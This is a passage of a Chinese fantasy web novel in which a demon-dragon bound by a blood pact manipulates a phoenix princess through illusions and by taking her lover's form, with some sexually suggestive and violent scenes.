突然抬起手,反握住她掐颈的手腕,衣衫摩挲间,大拇指骤变的龙爪如利刃般割开食指指腹, 鲜血迅速涌渗出来。 这个动作叫人莫名感觉熟悉,九昭眼前闪过似曾相识的破碎瞬间。 然而,巫逐并不给予她思考的机会。 那泛着黑气的血液一滴一滴落在手背, 弹指隐没进肌肤,一路顺着手臂游走上去。 三清天的仙灵颜色共分为五种,金绿蓝红褐,分别对应金木水火土五系。 黑色, 是魔族施法时才会出现的颜色。 意识到情况不对, 九昭迅速松开手掌, 将巫逐甩在一旁,释放仙术欲将血液逼停。 她闭目感知了一阵, 面色逐渐阴沉似水。 区区一滴血液, 融入血管脉络之中,便似游鱼回归海洋, 想要找到谈何容易。在重新睁开眼, 如同看待尸体般瞥了眼巫逐后, 九昭按照神帝教授的口诀, 开始调动起丹田内的神力。 然而。 换了种办法, 她凝重的表情依旧未见半分轻松。 这些年, 经过夜以继日的勤恳修行,那储存神力的丹田外,厚厚裹覆的壁障有了变薄松动的迹象,虽不能使出无日渊内危及性命时爆发的全部力量,但九昭也与之建立起了丝缕牵系。 奈何进了凤凰树心,那壁障陡然变回起先的模样。 任凭九昭用尽各种办法,都悄无声息没有半分回应。 慢慢地,九昭掐指捻诀的手法越来越急躁,浑然忘却了神帝着意交代过的屏气凝神。 而另一旁,被她弃之不顾的巫逐同样不好受。 尽管捕捉到九昭因自己言语而心神动摇的绝佳时机,但顶着血契的天然压制,强行逼迫失去颌下珠后虚弱不堪的身体,凝出魔气精血反制对方的决定,还是太过为难。 计策成功的喜悦在心底未及停留几瞬,他喉咙一腥,唇边登时溢出几缕心头血。 这种情况下,最好的办法,便是回到九昭的灵台当中沉眠养伤。 再随意施展术法,恐有损伤根基的危险。 可他不忘自己重返三清天是为了什么。 咬着牙催动另一半魔血,操控起进入九昭体内的那滴。 于是,九昭的脑海里,再度响起此时此刻她最不愿意听见的声音。 方从窒息边缘拉回神志,巫逐的语气依然带着轻松笑意。 “主人。” 他唤出这个曾经被自身视作耻辱,如今却透着无限嘲讽的称呼,语调缥缈而轻柔,“我说想要占/有你,绝不是开玩笑的。反正已经建立了血契,为什么我们不干脆更加深刻地结合在一起?” 灵台被另一道意识强势侵占,九昭的呼吸急促起来。 她难耐地吐着气,自牙缝中挤出长这么大的第一句粗口:“放你X的屁!” 巫逐也不恼。 他曲起指节,小心控制着隐匿的魔血穿过条条脉络,朝九昭心口的位置不断潜进。 偏嘴上还做出种种游刃有余:“主人别生气,听我说完不好吗?分明现在也没有其他办法了。 “我待在你的灵台里这么多年,又有谁比我更懂你的心事—— “主人不想做神帝对不对? “什么不愿辜负父神的嘱托,什么想要证明自己是比巫劭更强大的凤凰,什么承担起属于储君的职责,叫三清天一众神仙从此以后刮目相看,那么主人自己呢,自己真正的意愿呢? “我知道你在学习政务到深夜,望着满卷的民生吏治、权术平衡时,明明并不赞同,却不得不与世同流的疲惫,也懂得你内心深处,真正渴望建立的三清天是何等模样。 “你的父神嗣辰一遍遍地在你耳边叮嘱着,站在权利巅峰的上位者,必须割舍掉许多不必要的柔软和同情——可哪怕是面对我这个,与三清天不共戴天,犯下无数杀业的仇敌,你还是会因为我曾受到的折磨和不公平对待,而真情实感地怜悯和打抱不平。 “哎……主人,就算外表修炼得再怎么强大,你始终都没有一颗足够冷酷的心。” 灵台里,巫逐的声音絮絮叨叨地说着。 他像是太阳升到最高点时,跟在脚后的影子,任凭九昭如何也无法做到彻底切割。 他缩小版的人身在九昭的识海深处慢慢凝聚,又满是感同身受地替她叹出一口气。 九昭睁不开眼睛,她难以分辨在魔血的作用下,巫逐是否获得了自由进出自己身体的权利。 又或者,这具脸上同情意味浓郁的躯壳,仅是他用来动摇她心志的诡计之一—— 但任凭他花言巧语,全都是放屁! 无视九昭的大骂和竭尽全力的抗拒,巫逐自说自话一阵,抬起头,那双无神的瞳孔又“盯”在她的脸上:“还有,最重要的,有关你当初隐瞒我的存在,致使嗣辰如今中毒的事。” 有时候,言语并不需要如何犀利。 只要将事实的真相说出口,就足够将人割得鲜血淋漓。 “中毒”一词如刀般刺进九昭的脑海,叫她一下子闭了嘴。在眉心突跳的同时,她看见望向这头的巫逐身形倏忽模糊扭曲起来,几经变幻后,化作了另一个“自己”——一个黑发红瞳的自己。 那个“自己”檀口开开合合,赤红瞳孔好似火焰将熄未熄时的余烬。 她问道:“神帝中毒之事,主人打算如何处理?是哭着跪在他面前,诉说自己当时鬼迷心窍,一心以为凤凰神树的元初之火能烧死我,所以隐瞒了我生而未死,且与你签订了血契的真相吗?” 九昭没有回答。 可没有回答,又何尝不是一种回答。 巫逐露出了然的笑意: “瞧瞧,果然如我所说,主人还是个内心天真的孩子。 “纵使神帝不怪你,你以为这件事就能彻底揭过去了吗?” 察觉前番的精神攻击收效甚微,他换了个角度,不再同九昭讨论理想与现实,自由与束缚。 他开始谈及亲情。 “你在被关在凤凰神树内修炼四十九年,神帝就要在外头被我释放的慢毒侵蚀四十九年。 “毒会加剧他的衰老,掏空他的精力。 “致幻的效果,会令他越来越频繁地想起你的母亲——他会从起先的被毒性麻痹,被迫遗忘她已死的事实,到最后困顿于心魔,自觉幻想她依然存在,没有早逝。 “在这种状态下,无论替嗣辰解毒与否,都变成了一种巨大的伤害。 “要么在漫长折磨中死去,要么在戒断毒瘾的过程中,一遍又一遍接受你母亲逝去的事实。 “这一切都是你的天真和自大带来的啊,我的神姬殿下。 “自以为能够完美解决所有问题,自以为已经长大成人可以独立——” 话停在这里,巫逐轻轻笑了一下:“实则却是个父母长辈不在身边,便会搞砸一切的孩子。” “……” 九昭掐住手腕皮肤下剧烈跳动的脉搏,感觉自己快要透不过气。 理智告诉她,别将巫逐的话听进耳里,也不要顺着他的语境,去深入思考下去。 可悲哀的是,她不得不承认,巫逐说的没有任何问题。 每当她真切地渴望做到最好,事情却总是呈现出最糟糕的那个结果。 德不配位。 是否形容的便是她这样的人? …… 望着巫逐没有任何情绪变化的眼睛,九昭的心境从最初的愤怒和怀疑,最终变成了迷惘。 所以每每向父神坦白,难道自己所求的真的是亡羊补牢犹未为晚? 听着他的原谅,除了减轻少许内心的压力,又何曾改变过什么? 下一瞬,照样会发生自己无法招架的事。 下一次,照样会做出不够理智甚至显得愚蠢的选择。 连自身都无法改变,谈何改变不公正的三清天? 九昭陷入深深的厌恶自厌情绪。 而凭借魔血,感知她心绪起伏的巫逐,益发放轻嗓音:“另外,无日渊中的真相虽被嗣辰粉饰,可尚有两个戍守在万雷山的天仙知晓一二。如若他们口风不够严实,来日或不慎会被收买将秘密泄露出去,你这个一人之下万人之上的高贵神姬,便成了为一己私欲公然违反天令的罪人。 “主人,要登上帝位,就不能有污点。或者说,哪怕有污点,也必须涂抹干净。 “你会杀了他们吗?不说让你杀掉亲近之人,只是灭口那些没有任何感情关系的陌生人。 “你下得了手吗?” …… “我知道,你下不了手的,因为你的心不够硬。” …… “既然无法改变自己的心,也面对不了残酷的现实,为什么不与我合二为一呢? “从此以后,你只需享受放纵和快乐,所有罪恶、阴暗与痛苦都交给我,我来替你解决。” 巫逐边说,边张开手臂,做出拥抱姿态。 手掌又轻轻抚摸在灵台四周竖起的,九昭用以自我防御的高墙之上。 那力道太过温缓,仿佛透过表层,直接触碰到了灵魂。 在魔血和言语的双重效果下,九昭不曾失明的清亮瞳仁,短暂显出一丝雾气般的恍惚。 是啊。 父神当初就分别选中兰祁、扶胥为神姬王夫,后自己又自行看中深谙政术的祝晏。 不都是在感情之外,更想叫他们起到辅佐之责吗—— 这一系列的选择,从一开始,就说明了。 单凭自己一个人,根本不行。 …… 浑浑噩噩跳动着的心脏,被异物入侵的痛感,在刹那间猝不及防发生。 九昭越来越迷失的思绪立刻中断。 神志陡然聚焦,她怔了怔,倏忽有种不知自己身处天地何方之感。 微妙停顿过后,她难受地捂着胸口,猛地睁开眼来。 ——她终于明白了,巫逐究竟想做什么。 99| 第99章 ◎“找死!”◎ 在变着方向试探的过程里, 魔血终于找到了她隐藏在心底的执念。 那是一种从降生开始便有的自我厌恶。 厌恶自己背负着害死母神的罪名。 厌恶吸收了父神的本身修为,却没有成为令他骄傲的储君。 厌恶无力改变现状的平庸。 厌恶做不到杀伐果决的怯懦。 厌恶自己为什么会是今日的自己。 …… 魔血钻进九昭的执念中,再经由巫逐的言语刺激, 催生出了真正的心魔。 心魔污染纯洁无瑕的仙体, 也为魔血的扎根提供了养分十足的适宜土壤。 巫逐终于完成反制。 血契还是那个血契,却不再是九昭逼出藏在他体内的精血,就能轻易割舍得了。 奉血者和受血者的身份于此间发生混淆,巫逐借助魔血不断催化着九昭的心魔, 等到她意识中魔的那部分壮大,他便可以反客为主,盖过九昭本身的意志, 反过来操控她做不想做的事情。 反应到当下。 他心念一动,血契便顺从他的心意,在两人的身体之间建立起根根半透明的血管脉络,借着这些触手般的脉络, 他无声蚕食起九昭的部分力量, 重伤濒危的状态立即好转不少。 这一切, 被九昭亲眼所见。 “巫逐,你怎么敢!!” 她暴怒到几欲发狂, 扑上去用手撕, 用脚踹—— 不断凝结各式各样的法术,轰击传输仙力的血管, 甚至于攻击巫逐。 结果依然无济于事。 血契的约束也生效在了她的身上, 她触碰不到, 更阻止不了。 只能眼睁睁地看着巫逐苍白如死的面容, 在同系火源的滋养下, 逐渐恢复血色。 他失明的瞳孔与她“对视”, 无光、无亮、无情绪起伏。 没法从他的眼神中捕捉到任何变化,九昭就越发觉得讥刻和嘲讽。 ……自己居然被一条盲龙耍得团团转。 居然一次次被瞎子占据了先机。 九昭的双手颤抖着。 在又一次对巫逐发动攻击却无济于事后,游丝般的初生心魔因着强烈燃烧的愤怒变粗一分。 不行。 这样不行。 越是沉溺在这样的心境中,就越是遂了巫逐的意。 所有的负面情绪,都是供给心魔的养分,待成长到一定地步,巫逐反控她就会更加容易。 他定是在等着这样的机会,彻底占据自己的身体,然后炼成涅槃凤火,出去搅个翻天覆地。 ……绝不能让这样的结果发生。 九昭强迫自己冷静下来,身体蜿蜒出去的血红脉络太过碍眼,她干脆闭上眼睛,盘腿入定。 错误已经酿成。 不能再创造更大的错误。 仔细想想,无法斩断的血契便是一把双刃剑,既然巫逐想要通过心魔控制她,那么只要消解心魔,或是让心志恢复坚定,说不定就能反过来继续维持她在上,巫逐不得不听命效忠的局面。 还有,父神中毒的事情。 眼下无法验证真假,干脆不要相信。 将它看作巫逐编织的谎言,目的是让自己彻底成为傀儡,或者陨落在凤凰树中。 进行完自我安慰,九昭干脆默背起清心诀。 果然,只要不再产生强烈的负面情绪,心魔就不再蠢蠢欲动地膨胀,缓缓蛰伏了下去。 她再接再厉,打算把灵台内的仙识全部扩散开来,融入到无处不在的元初之火当中,探索它们、学习它们、感受着它们在天地间的运行轨迹,好早日完成涅槃,突破凤凰神树的禁锢。 见九昭不再搭配自己,恢复些许状态的巫逐不甘示弱,继续在她脑海中发声。 他借着魔血,读取了残留在九昭记忆里最表层的信息,而后率先变成神帝的样子。 “昭儿,为父好像,见到了你的母神。” 与神帝一模一样的嗓音,说着令九昭心脏漏跳一拍的喃语。 那语调时高时低,声音亦时远时近,听起来像极了陷入癔症以致疯狂的疯子: “昭儿,你睁开眼看看,你的母神、就在那里—— “她在对我笑,她问我这么多年不见,不知道昭儿长大了没有。 “昭儿,太婀她、真的回来了—— “就在你的眼前,你睁开眼啊,让母神好好看看你,看看你长成大姑娘的样子——” 说到“就在你眼前”时,九昭的睫毛被一阵气息拂过,仿佛真的有人悬在咫尺间轻轻呼吸。 来自外界的,过于逼真的感知,叫她感到毛骨悚然。 只能加速清心诀的背诵,反复告诉自己一切都不是真的。 “昭儿,你不想要父神母神了吗? “你再不睁开眼,你的母神就要消失了。 “九昭,我不准她走,你快把眼睛睁开—— “你为何如此狠心,都怪你、都是你害死了你的母亲!” 从“昭儿”变成“九昭”,模拟出来的慈爱口吻,也在一声声逼问中直至泣血凄厉。 巫逐朝着最痛处,精准刺了下去。 九昭的心脏不由自主地重重抽搐。 她忍不住想,当日雷罚施加于肉身的痛苦,换成等量的精神折磨,也不过如此。 但她还是咬紧牙关,不说话,也不肯睁开眼睛。 不对巫逐的迷惑做出任何反应。 …… 不知过了多久,像是厌倦了这个拿九昭痛苦取乐的游戏。 巫逐没了动静。 九昭的双手慢慢摊开来,肌肤被指甲掐出数道血印,掌心还蒙着一层晶莹的冷汗。 她没有任何取得胜利的欣喜。 紧绷的气息尚未流露出半分松懈,耳畔又传来另一道声音。 “昭娘。” 放眼世间,唯有一人会用这个称呼唤她。 他们曾朝夕相伴,耳鬓厮磨。 他与她有着深入骨血,肌肤相亲的关系。 可他绝不会出现在这里。 举目皆是高热的火焰,九昭的眉峰却凝结寒霜搬的冷意。 化作祝晏模样的巫逐愈发放肆。 他利用读取的记忆,在九昭脑海构建出两人居住在长乐命牌里的生活。 为了力求逼真,他无声靠近九昭。 真龙在这个时刻,变成了阴森冷血的游蛇。 他盘桓在九昭身侧,模仿着祝晏的一言一行,伸手温柔抚摸九昭的长发,单臂揽住她纤细的腰肢,俯下脖颈,用略带沙哑的温柔语调,一遍又一遍在耳际唤着“昭娘”。 凤羽仅能提供最基础的遮蔽。 巫逐的双手拂过她袒露的肌理时,引发躯壳本能的战栗。 那灵台深处的画面,亦活色生香起来。 她习惯了祝晏的手,祝晏的唇,祝晏的各个部分。 随着接触的深入,她掐入掌心的指甲越来越重,用疼痛抵御着不该在此出现的旖旎。 忽然。 她握拳的双手被一道不容拒绝的力度用力抻开。 停留在颈项处的炽热气息一瞬拉远。 “祝晏”用惊讶且怜惜的语调说着:“昭娘,你受伤了!” 九昭分神在与陌生力量的抗衡上,急欲将掌心重新蜷起。 那一块块月牙状的血印,象征着她做不到清心静气,只能依赖痛楚来保持清明。 视线受阻,看不见外界的真实情况。 除此之外,全部感官变得无限敏怯。 不知巫逐是否借助了别的力量,九昭感觉到自己的手指被他牢牢抓着,竟然动弹不得。 无法蜷起遮掩痕迹,九昭咬着嘴唇,又想从他的指间抽回自己的双手。 布料的窸窣声扩大,两人的拉扯动作逐渐变得激烈。 倏忽之间,脑海里沉迷于欢情的祝晏仿佛被惊动,抬头看了过来。 一人在内,一人在外,互相对视。 他在,看着自己。 巫逐也在,看着自己。 …… 巫逐是条又狡猾又冷血的瞎龙,他哪里来的狗眼看自己?! 九昭明白这种鼠类被猎手盯上的不寒而栗感,是他利用魔血营造的另一重幻觉。 她用能够想到的言语,在灵台反复羞辱着巫逐。 以此希望尊严被挑衅的对方,气到维持不住祝晏的幻象。 可“祝晏”依旧静静望着她。 不着寸缕的臂弯着间,抱着另一个“九昭”。 “九昭”将腿抬了起来,涂着鲜红蔻丹的脚趾一晃一晃,雪白足底蹭着他半曲如弓的后背。 “晏郎,你怎么停下了? “在看什么?” 原来,生性坚硬的自己,也会有这样娇媚的眼神,这样如同柔绿春波般的声音。 九昭不敢再看。 在移开眼睛的一瞬间,祝晏却直勾勾地盯着她,将头埋了下去。 “——!!” 九昭的唇角溢出尖叫极尽压制过后形成的闷哼。 她被强制摊开的掌心,巫祝生着倒刺的舌尖。 亦舔了上去。 巫逐舌头上的倒刺细而密集。 若化作龙身,轻轻一下便可刮走敌人的大片皮肉。 可血契生效的情况下,九昭奈何不了他,他也伤害不了九昭。 细长龙信舔在受伤的掌心,时而拂过充血肿胀的指甲印痕。 微弱的痛楚,和鲜明的痒麻交织在一起。 一下又一下。 频率和脑海中正在进行的情事很一致。 如海浪冲上来的潮沙般不断累积。 当躺在祝晏臂弯的另一个自己,因承受不了过度的欢愉而发出惊喘时—— 现实里冷眼旁观的九昭亦是无名邪火起。 若再闭着眼睛看下去,只怕马上就要走火入魔了。 …… 巫逐反制的程度尚浅,并不能探知九昭每一瞬的心理活动。 只是凭借舌下陡然僵硬的肌肉,他依旧将她的情绪掌握了个七七八八。 随着在九昭脑海投射的记忆画面愈演愈烈,潜入对方心脉的魔血也传来雀跃的反应。 巫逐有种说不出的得意。 天晓得,在偶尔突破九昭设于自己脑内的禁制,“偷窥”外界时,他有多想这么试试。 代替祝晏。 被她拥抱,同她亲近无隙。 虽然巫劭警告过,做神仙没关系,若做魔头,对着一个女人无端心悸,会有很可怕的下场,但他只差最后一步,就能真正和九昭融为一体——稍稍放纵,应该也没什么大不了的。 巫逐仍然不理解心脏越发狂热的跳动原因是何。 但这不妨碍,他很高兴。 他没有任何经验,干脆学着九昭记忆里祝晏的动作,舔吻掌心,越发卖力。 直到一时不察,被九昭探进口腔,并指用力反掐住舌头。 他是瞎子,看不到双眼蜿蜒红血丝的九昭,面上是多么扭曲的表情。 他耳边传来她急欲克制,却不断泄露的沉喘声。 望着身穿天青长衫,从头到脚和祝晏没有任何分别的的青年,九昭气不打一处来。 元初之火的热,和心魔激发的燥,混合在一起,好似被烈日烧焦的土地,正在把所有名为理智的水分抽离。她想也不想随手凝出一道仙光屏障,揪着巫逐的舌头,将他摁倒其上。 “像狗一样,舔得很高兴是不是? “堂堂半神之尊,罪神巫劭身边的第一猛将,竟然这么恶心!” 九昭一面骂,一面察觉到巫逐的舌头想回缩,于是用最长的中指顶到喉咙深处。 就着湿润的软肉,她狠狠摁了两下,直把巫逐弄得舌面痉挛欲呕。 窒息的潮红袭上那张属于祝晏的艳丽面孔,狭长眼尾半折,水光随即盛满他的瞳孔。 九昭这么一搅和,占据大脑的香艳戏码被迫中断。 她的耳边只剩下巫逐吞咽不了口水,不断发出的唔嗯声。 那晶亮唾液溢出唇角,沾满九昭的整片掌心。 恶心的黏腻感传来,手掌和下颌肌肤的摩擦间,烦扰着她的动静又多了一道咕叽咕叽。 “快点给我变回去!” 她险恶地拧着眉峰,又一次摁顶巫逐的喉头,这样的折磨不会伤害他的性命,血契也没有做出任何保护的约束,“若还敢拿父母亲人引诱,我定会将你碎尸万段!” “唔、昭——” 在强制之下,巫逐没办法发出完整清晰的字音。 九昭以为他要求饶,凑过去一听,却仍是不屈不挠的“昭娘”二字。 找死! 九昭气得抬手狠狠给了他一耳光。 碍于不能伤害的限制,动作打在青年的脸上失去力道,只叫他本就绯红的面容越发秾丽。 用祝晏的面孔,做出这副神容—— 简直是不堪入目。 九昭只觉进入凤凰神树不过一日,自己快要被巫逐逼疯。 弄也弄不死,打也打不痛,她血色覆满的眼睛瞪视太久,被火焰燎得胀痛。 垂头眨眼的瞬间,视线不经意掠过青年被自己忽略的下摆处。 她一愣,继而眼睛因为无措睁得更大了些。 为什么。 为什么,自己只为泄愤的折磨,会叫他更兴奋—— 【作者有话说】 小天使们,明天休息一天,后天照常更新 100| 第100章 ◎“晏郎。”◎ 天青是一种来自瓷器的颜色, 澹雅而澄净。 祝晏常选择与其相关的衣饰,来中和五官过于秾丽深艳的部分。 久而久之,九昭早就将它视作了象征祝晏的一部分。 此刻, 那清雅的衣衫有了另一层意味。 因着不该有的弧度, 如同皎洁的神像被人玷污。 果然是不知廉耻的牲畜! 九昭被恶心了个透顶,连带指尖顶/弄他喉咙,以窒息为惩戒的手段,也在他的反应下变了意味。 她一掌将巫逐打开, 对着抽出口腔的湿漉手指,反反复复用起清洁术来。 洗着洗着,她的脑子里又不合时宜地, 浮现出一段跟祝晏有关的往事。 不过这次倒并非巫逐作妖——自动想起和被人强行插/入/画面,还是有着本质上的区别。 这段往事,发生在芸生世。 那时,她不用敛息符擅闯皇宫被人追杀, 祝晏为救她而受伤。 在宫道上, 她帮祝晏舔/舐伤口止血。 祝晏也是这样的煽情反应。 祝晏说, 面对喜欢的人,身体很难克制住本能冲动。 …… 祝晏有多喜欢她, 九昭是知道的。 可巫逐又是怎么回事? 难道被人虐/待会叫他感到兴奋? 还是说—— 他也喜欢自己。 最后这个假设被盘桓在心底的声音道出, 大片鸡皮疙瘩登时在后颈和手臂上浮起。 条件反射想吐之余,九昭感到不可思议。 被这个念头驱使, 她无声回头, 睨了眼被自己丢开的巫逐。 却见他解除了伪装成祝晏的术法, 变成本来的模样, 那象征痴态的潮红依旧没从面上散去。 下/贱的魔族。 连癖好都是那样的难以言喻! 九昭的心脏砰砰狂跳。 可没了巫逐的干扰, 神志到底从那种无处发泄的躁乱状态解脱出来。 恢复小半冷静, 她强迫自己把注意力从事情本身上移开。 待指尖的黏腻感彻底褪去,她突然萌生出一个荒诞的想法。 魔族和仙族最大的不同,在于神仙一定要坚守清明的本心才不致堕落。 魔族却恰恰相反,他们是不可以生出“心”。 这里的心并非人人都生有的器官,而是类似真心的正向情感。 焚业海生活着的所有种族,力量的来源均依托执念、心魔产生的无尽怨力,当他们对一个人产生不忍伤害的真心,那么怨力就失去了依附的媒介——也就是说,魔力会对那一方彻底失效。 这种真心不仅仅只作用在爱人之上,面对家人、孩子、真正认可的知己朋友亦然。 情感越真挚,法术越无法产生效果。 若能分清楚巫逐究竟是享受被虐待,还是喜欢自己—— 或许,那经由魔血污染的变异血契,便可以找到解决的办法。 更甚者,她能够回到重新掌控巫逐,甚至不能付出任何代价就能将他杀死的状态。 想法一旦有了苗头。 大脑就会自发不断深入下去。 九昭默默思考着成功的机率。 只是。 真的应该这么做吗? 就算确认巫逐真的对自己有好感,想要通过加深他的情感达成目的,总得采取对应的手段。 在九昭看来,为了断绝血契,不得不同巫逐虚与委蛇,依然是对于祝晏的背叛。 难道人就只有逐渐成为被曾经的自己唾弃之人,这一条路吗? 九昭彷徨着、犹豫着。 在接下来巫逐背对着她,暂时消停的间隙里,她重新入定,与伺机而动的心魔相互角力。 …… 凤凰树心里的日子,可以用一成不变来形容。 除了一日更甚一日的温度,其余只有无尽的压抑和空茫。 巫逐和九昭都清楚,他们之间的对抗,是场旷日持久的战役。 让她在强烈自责中放弃活下去的念头,放任自身被元初之火烧死,连带自己一同陪葬,绝非巫逐的本意。在九昭心底种下神帝因她而中毒的怀疑后,他没有继续选择利用这点来催化心魔。 出于一点不可言说的心思,他日日变成祝晏的模样,渴望动摇九昭的心防。 扎根在心脏的魔血,是个很方便的工具。 不仅可以探知心魔的成长情况,更能够帮助巫逐感受到九昭的心绪起伏。 原来,神仙的想法和妖魔不一样。 纯粹的肉/欲不能叫他们彻底沉溺,在连着上演了几天的“活春宫”,察觉到九昭那恼怒羞耻的心绪有了一定程度的抗性后,巫逐又尝试着加入他们在一起时琴瑟和鸣的点点滴滴。 喊昭娘,九昭的心脏会本能的悸动。 从背后环抱着她,将下巴支进颈窝,是九昭最喜欢的亲近方式。 她爱祝晏弹琴。 两人闲来无事时,她会叫祝晏躺在膝上,一遍又一遍为他梳头。 …… 巫逐能在万般艰辛的境地里问鼎神位。 虽然最后因半魔之身并未完全成功,但依然充分说明了他的天赋。 他学习什么都很快。 无论是修炼法术还是掌握仙力,总能做到用不了多久就融会贯通。 所以相对应的,把天分用在模仿祝晏的一言一行上,他的进步也与日俱进。 “昭娘,你可以睁开眼看看我吗? “昭娘,好想做……” “滚。 “再变成祝晏的样子,我就把你的舌头也割了,让你看不见,也说不出话!” 这是九昭一开始对他的态度。 冷言冷语,倘若没有血契压制,恨不得将他生吞活剥了。 且为了减少被他骚扰的次数,她甚至无师自通地学会了一种极为凶险的修炼法门——那就是将仙识全部抽离灵台,四散到元初之火中去,与身躯承受同等的烈火煎熬,以求快速进益。 没有仙识,九昭的躯壳只是一副空荡的躯壳。 不会被外界影响,无法听见脑内或是脑外的话音,心魔也被遏制在了可控的程度。 巫逐尝试几次,的确得不到任何回应。 但他并不着急,也不气馁。 观察了几次,他发觉依照九昭目前的仙力,顶多只能让仙识忍受元初之火一个时辰。 一个时辰到,仙识必须回归躯壳,进行半日的休憩温养,方能进行下一次。 相比九昭的修炼艰辛,巫逐想要维持伪装,只需要耗费很少的力量。 他干脆不再变回自己原本的样子,以祝晏的面容日日与她在修行完成后相见。 …… “昭娘,我新制了一张琴谱,想听一听吗? “昭娘,也不知道我们一同种在院子里的种子如今怎么样了,真想回去看一看。 “昭娘,我心口又疼了,你替我揉揉好不好?” 时日推移,巫逐演得越来越好。 心是骗不了人的。 他说句什么样的话,做出什么样的动作时,九昭的心脏跳动最剧烈,通通被他暗自记下。 在这里,在唯有彼此的天地间,他利用自身颌幻觉,为九昭打造了一场逼真的假象。 没有什么家国情仇。 也没有不共戴天的仇敌。 只有她和他。 九昭和巫逐。 不,是九昭和“祝晏”。 …… 一个月、两个月、三个月。 还是一年、两年、三年。 巫逐只知道度过了漫长的岁月,九昭好像终于开始区分不清。 她分散仙识持续的时辰越来越长。 可完成修行后,两眼望过来,停留在他面孔上的时间也在同步增加。 她不再表现出极端的嫌恶和抗拒。 那如有实质的目光,被巫逐的神识轻而易举地捕捉到。 在又一次分散自己的全部仙识,沉入元初之火,忍受几欲焚化灵魂的淬炼和净化结束后,九昭体力不支地伏倒在原地,光洁额头涔涔热汗滑落,掌心全是忍耐到极点时掐下的血印。 她似乎已经习惯了用痛苦,来同所有影响自己的事物对抗。 巫逐听见她微弱的喘息,踌躇几瞬,飘过去将她揽进了怀里。 “昭娘,你还好吗? “别这么勉强自己,倘若实在难受,偶尔缓一缓也不耽误。” 相比躯体,存在于灵台当中的仙识是更敏感脆弱的东西。 一旦仙识受损,纵使身躯未灭,也只能做个活死人。 巫逐不太认同九昭这样大胆冒进的修炼方式,可他目前唯一能做的,不过是加深幻觉暗示,让九昭在因修行而虚弱的时刻中招,将自己误认成为祝晏——真要操控她,他根本做不到。 他把九昭被汗水打湿的额发拂去。 又用清洁术帮她擦拭了一下面孔,企图让她好受些。 做完这一切,他没有放开九昭。 等待着在如此虚弱的情况下,要过几息,耳边才会响起九昭清醒过来时的冰冷辱骂。 然而,出乎他的意料。 这一次的九昭始终很安静地伏在他臂膀。 就在他以为九昭是不是因为修炼过度昏过去的时候,那怀里的人倏忽动了起来。 两只手挣脱他的束缚,滑向他的双肩。 却不是要推开他,而是以回应的姿态,攀在了他的后颈。 没有被骂。 没有被推。 更没有被打。 巫逐眨了眨眼,倏忽有种正在梦中的感觉。 “昭娘……?” 他又掐着嗓音,用祝晏那种在他看来矫揉做作的声调,唤了九昭一声。 听见九昭低声说道:“……晏郎,好想回到长乐命牌里,看看母神留下的种子开花的模样。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 101| 第101章 ◎“要不要玩一次我上回提过的游戏?”◎ 难道努力了这么久, 自己终于成功了? 幸福发生得太快,令巫逐有些不敢相信。 他尝试着询问九昭:“……昭娘,你可知晓我是谁?” 九昭想也不想, 亲昵地嗔怪他道:“你是晏郎啊, 怎么问我这种问题,难道被火烧傻了?” 虽然说起一些特定的关键词,或许会导致对方意识受到刺激清醒过来。但巫逐向来多疑,他掌控不了九昭的全部, 便悄悄催动蛰伏在九昭心脉的魔血,试图窥探她此刻的心情变化。 还是那句话。 嘴可以舌灿莲花、颠倒黑白,心却骗不了人。 人在撒谎的过程中, 会为着谎言可能被揭穿的压力而心跳加快。 他小心翼翼操控着魔血,待到与九昭的心绪建立牵系。 才用类似玩笑的语气说着:“是啊,总是闷在这里,脑子都变迟钝了不少。昭娘, 我都有些记不清了——我是九尾狐, 这里是你们凤凰族的神树, 所以我到底是怎么进来的?” “自然是因为我们签订了血契。” 魔血连接的那头,九昭的心脏依旧平稳跳动, 毫无异常。 只是出口的话音间, 多了几分对于巫逐的担忧,“在我进入树心前, 你执意追到了凤凰族圣地, 说修炼涅槃凤火万般凶险, 你怎么放心让我独自在其中承受煎熬, 生一起生, 死一同死。 “我反复劝阻你不得, 这才跟你缔结了血契,如此你便能寄身在灵台里被我带进去,也不会因为是异族的缘故,被元初之火视为敌人,直接烧死——这些你全都忘了吗?” 说着,她用手背贴住巫逐额头,感受他的状态。 又自责地增添几句:“我就知道,虽然用了讨巧的手段,但你身体本就孱弱,怎么可能不受到元初之火的影响……身体这么烫,你可有不舒服吗,心口痛吗?都怪我,当初应该坚决阻止的。” 没等巫逐如何打探,她自发构建了一套前后对应的逻辑。 甚至补全了“祝晏”这一外族,不被凤凰神树排斥,反而能安稳待在其中的漏洞。 这听起来很合理。 九昭的心跳频率全程没有加快过一瞬,反而为着刚刚修炼完毕,仙识十分虚弱,跳得还要比寻常缓慢不少——心魔和神魂不稳的双重叠加下,她的记忆似乎真的受到了一定程度的扭曲。 抹去身畔巫逐的存在,将他一心一意想象成渴望见到的那个人。 这不仅仅是心魔的作用,更是人在负面影响过重的情况下,形成的一种自我保护机制。 忘掉那部分令人厌恶且无力改变的现实,将其替换为内心视作美好的东西。 某种意义上来说,巫逐这么久以来的努力的确成功了。 可想到自己被九昭的大脑当成最不堪的记忆抹除,他的内心又莫名地升起几分不舒服。 不过他还是尽职尽责地演戏。 这些年,九昭已然对于播放在她脑海的各种画面有了抗性。 心魔成长到一定地步后,再无任何寸进。 如此距离巫逐的预期还相差一大截,不如借着“祝晏”的身份同她温存亲近,被心魔影响的误认只是暂时的,待到幻觉消退,她清醒过来时,察觉自己背叛了祝晏,心绪定会进一步崩溃。 巫逐所行的计划一直都很明晰。 他正酝酿着下一步的试探和要求,那趴在他怀抱休息了片刻的九昭,却先行支起身子。 她双手捧着他的面孔,来回检查着,捕捉到一处跟记忆里迥然的区别时,又担心地问道:“晏郎,你的眼睛怎么了,看起来雾蒙蒙的……是被火熏坏了吗?” 巫逐的呼吸微微停顿。 他转念思忖着,在九昭主动形成的一套逻辑下,自己身上的不合理之处,都会被她自行寻找借口合理化,便随便扯了个谎言道:“可能是因为树心里越来越热,眼睛被熏得有些充血干涩。 “昭娘不用担心,等出了这里,将养一段时日总会好的。” 九昭“唔”了声,没再纠结下去。 她好奇地伸出手,来回抚摸着巫逐半掩失明瞳孔的漆黑长睫:“就算暂时看不见,晏郎的眼睛也还是很好看……从前像两块清透的翡翠,现在变成了深邃的碧潭。” 她不吝惜地赞美着心中爱侣的一切。 无论优点,抑或缺点。 这是彼此清醒时,巫逐从未享受过的待遇。 